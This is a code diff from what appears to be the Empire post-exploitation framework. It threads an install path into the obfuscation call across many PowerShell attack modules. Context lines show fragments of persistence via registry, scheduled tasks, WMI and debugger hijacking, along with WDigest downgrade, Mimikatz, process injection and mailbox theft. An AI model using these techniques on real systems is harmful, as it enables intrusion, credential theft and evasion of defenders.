+            script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand)
         return script

lib/modules/powershell/management/get_domain_sid.py

@@ -84,5 +84,5 @@ class Module:
 
         scriptEnd += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
         if obfuscate:
-            script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand)
+            script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand)
         return script

lib/modules/powershell/management/honeyhash.py

@@ -90,6 +90,6 @@ class Module:
                 if values['Value'] and values['Value'] != '':
                     scriptEnd += " -" + str(option) + " " + str(values['Value']) 
         if obfuscate:
-            scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
+            scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
         script += scriptEnd
         return script

lib/modules/powershell/management/invoke_script.py

@@ -77,5 +77,5 @@ class Module:
 
         script += "%s" %(scriptCmd)
         if obfuscate:
-            script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand)
+            script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand)
         return script

lib/modules/powershell/management/lock.py

@@ -87,5 +87,5 @@ Function Invoke-LockWorkStation {
 Invoke-LockWorkStation; "Workstation locked."
 """
         if obfuscate:
-            script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand)
+            script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand)
         return script

lib/modules/powershell/management/logoff.py

@@ -62,5 +62,5 @@ class Module:
         else:
             script = "'Logging off current user.'; Start-Sleep -s 3; shutdown /l /f"
         if obfuscate:
-            script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand)
+            script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand)
         return script

lib/modules/powershell/management/mailraider/disable_security.py

@@ -110,6 +110,6 @@ class Module:
 
         scriptEnd += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
         if obfuscate:
-            scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
+            scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
         script += scriptEnd
         return script

lib/modules/powershell/management/mailraider/get_emailitems.py

@@ -87,6 +87,6 @@ class Module:
 
         scriptEnd += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
         if obfuscate:
-            scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
+            scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
         script += scriptEnd
         return script

lib/modules/powershell/management/mailraider/get_subfolders.py

@@ -87,6 +87,6 @@ class Module:
 
         scriptEnd += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
         if obfuscate:
-            scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
+            scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
         script += scriptEnd
         return script

lib/modules/powershell/management/mailraider/mail_search.py

@@ -112,6 +112,6 @@ class Module:
 
         scriptEnd += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
         if obfuscate:
-            scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
+            scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
         script += scriptEnd
         return script

lib/modules/powershell/management/mailraider/search_gal.py

@@ -107,6 +107,6 @@ class Module:
 
         scriptEnd += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
         if obfuscate:
-            scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
+            scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
         script += scriptEnd
         return script

lib/modules/powershell/management/mailraider/send_mail.py

@@ -117,6 +117,6 @@ class Module:
 
         scriptEnd += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
         if obfuscate:
-            scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
+            scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
         script += scriptEnd
         return script

lib/modules/powershell/management/mailraider/view_email.py

@@ -92,6 +92,6 @@ class Module:
 
         scriptEnd += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
         if obfuscate:
-            scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
+            scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
         script += scriptEnd
         return script

lib/modules/powershell/management/psinject.py

@@ -133,6 +133,6 @@ class Module:
                 else:
                     scriptEnd += "Invoke-PSInject -ProcName %s -PoshCode %s" % (procName, launcherCode)
                 if obfuscate:
-                    scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
+                    scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
                 script += scriptEnd
                 return script

lib/modules/powershell/management/reflective_inject.py

@@ -146,7 +146,7 @@ class Module:
                 UploadScript = self.mainMenu.stagers.generate_upload(dll, fullUploadPath)
 
                 if obfuscate:
-                    scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
+                    scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
 
                 script += "\r\n"
                 script += UploadScript

lib/modules/powershell/management/restart.py

@@ -52,5 +52,5 @@ class Module:
         
         script = "'Restarting computer';Restart-Computer -Force"
         if obfuscate:
-            script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand)
+            script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand)
         return script

lib/modules/powershell/management/runas.py

@@ -138,6 +138,6 @@ class Module:
                     else:
                         scriptEnd += " -" + str(option) + " " + str(values['Value']) 
         if obfuscate:
-            scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
+            scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
         script += scriptEnd
         return script

lib/modules/powershell/management/sid_to_user.py

@@ -57,5 +57,5 @@ class Module:
         
         script = "(New-Object System.Security.Principal.SecurityIdentifier(\"%s\")).Translate( [System.Security.Principal.NTAccount]).Value" %(self.options['SID']['Value'])
         if obfuscate:
-            script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand)
+            script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand)
         return script

lib/modules/powershell/management/spawn.py

@@ -100,5 +100,5 @@ class Module:
 
             code = "Start-Process -NoNewWindow -FilePath \"%s\" -ArgumentList '%s'; 'Agent spawned to %s'" % (parts[0], " ".join(parts[1:]), listenerName)
             if obfuscate:
-                code = helpers.obfuscate(psScript=code, obfuscationCommand=obfuscationCommand)
+                code = helpers.obfuscate(self.mainMenu.installPath, psScript=code, obfuscationCommand=obfuscationCommand)
             return code

lib/modules/powershell/management/spawnas.py

@@ -157,6 +157,6 @@ class Module:
 
         scriptEnd += "-Cmd \"$env:public\debug.bat\""
         if obfuscate:
-            scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
+            scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
         script += scriptEnd
         return script

lib/modules/powershell/management/switch_listener.py

@@ -71,5 +71,5 @@ class Module:
         # signal the existing listener that we're switching listeners, and the new comms code
         commsCode = "Send-Message -Packets $(Encode-Packet -Type 130 -Data '%s');\n%s" % (listenerName, commsCode)
         if obfuscate:
-            commsCode = helpers.obfuscate(psScript=commsCode, obfuscationCommand=obfuscationCommand)
+            commsCode = helpers.obfuscate(self.mainMenu.installPath, psScript=commsCode, obfuscationCommand=obfuscationCommand)
         return commsCode

lib/modules/powershell/management/timestomp.py

@@ -108,6 +108,6 @@ class Module:
 
         scriptEnd += "| Out-String"
         if obfuscate:
-            scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
+            scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
         script += scriptEnd
         return script

lib/modules/powershell/management/user_to_sid.py

@@ -63,5 +63,5 @@ class Module:
         script = "(New-Object System.Security.Principal.NTAccount(\"%s\",\"%s\")).Translate([System.Security.Principal.SecurityIdentifier]).Value" %(self.options['Domain']['Value'], self.options['User']['Value'])
    
         if obfuscate:
-            script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand)
+            script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand)
         return script

lib/modules/powershell/management/vnc.py

@@ -102,6 +102,6 @@ class Module:
                     else:
                         scriptEnd += " -" + str(option) + " " + str(values['Value'])
         if obfuscate:
-            scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
+            scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
         script += scriptEnd
         return script

lib/modules/powershell/management/wdigest_downgrade.py

@@ -151,5 +151,5 @@ function Invoke-WdigestDowngrade {
                     else:
                         script += " -" + str(option) + " " + str(values['Value'])
         if obfuscate:
-            script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand)
+            script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand)
         return script

lib/modules/powershell/management/zipfolder.py

@@ -93,5 +93,5 @@ Invoke-ZipFolder"""
                 if values['Value'] and values['Value'] != '':
                     script += " -" + str(option) + " " + str(values['Value']) 
         if obfuscate:
-            script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand)
+            script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand)
         return script

lib/modules/powershell/persistence/elevated/registry.py

@@ -205,5 +205,5 @@ class Module:
 
         script += "'Registry persistence established "+statusMsg+"'"
         if obfuscate:
-            script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand)
+            script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand)
         return script

lib/modules/powershell/persistence/elevated/schtasks.py

@@ -161,7 +161,7 @@ class Module:
             script += "schtasks /Delete /F /TN "+taskName+";"
             script += "'Schtasks persistence removed.'"
             if obfuscate:
-                script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand)
+                script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand)
             return script
 
         if extFile != '':
@@ -241,5 +241,5 @@ class Module:
             statusMsg += " with "+taskName+" daily trigger at " + dailyTime + "."
         script += "'Schtasks persistence established "+statusMsg+"'"
         if obfuscate:
-            script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand)
+            script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand)
         return script

lib/modules/powershell/persistence/elevated/wmi.py

@@ -124,7 +124,7 @@ class Module:
             script += "Get-WmiObject __FilterToConsumerBinding -Namespace root\subscription | Where-Object { $_.filter -match '"+subName+"'} | Remove-WmiObject;"
             script += "'WMI persistence removed.'"
             if obfuscate:
-                script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand)
+                script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand)
             return script
 
         if extFile != '':
@@ -199,5 +199,5 @@ class Module:
 
         script += "'WMI persistence established "+statusMsg+"'"
         if obfuscate:
-            script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand)
+            script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand)
         return script

lib/modules/powershell/persistence/misc/add_netuser.py

@@ -107,5 +107,5 @@ class Module:
 
         script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
         if obfuscate:
-            script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand)
+            script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand)
         return script

lib/modules/powershell/persistence/misc/add_sid_history.py

@@ -90,6 +90,6 @@ class Module:
         # base64 encode the command to pass to Invoke-Mimikatz
         scriptEnd = "Invoke-Mimikatz -Command '\"" + command + "\"';"
         if obfuscate:
-            scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
+            scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
         script += scriptEnd
         return script

lib/modules/powershell/persistence/misc/debugger.py

@@ -94,7 +94,7 @@ class Module:
             # the registry command to disable the debugger for Utilman.exe
             script = "Remove-Item 'HKLM:SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\%s';'%s debugger removed.'" %(targetBinary, targetBinary)
             if obfuscate:
-                script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand)
+                script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand)
             return script
         
 
@@ -133,5 +133,5 @@ class Module:
             # the registry command to set the debugger for the specified binary to be the binary path specified
             script = "$null=New-Item -Force -Path 'HKLM:SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\"+targetBinary+"';$null=Set-ItemProperty -Force -Path 'HKLM:SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\"+targetBinary+"' -Name Debugger -Value '"+triggerBinary+"';'"+targetBinary+" debugger set to "+triggerBinary+"'"
         if obfuscate:
-            script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand)
+            script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand)
         return script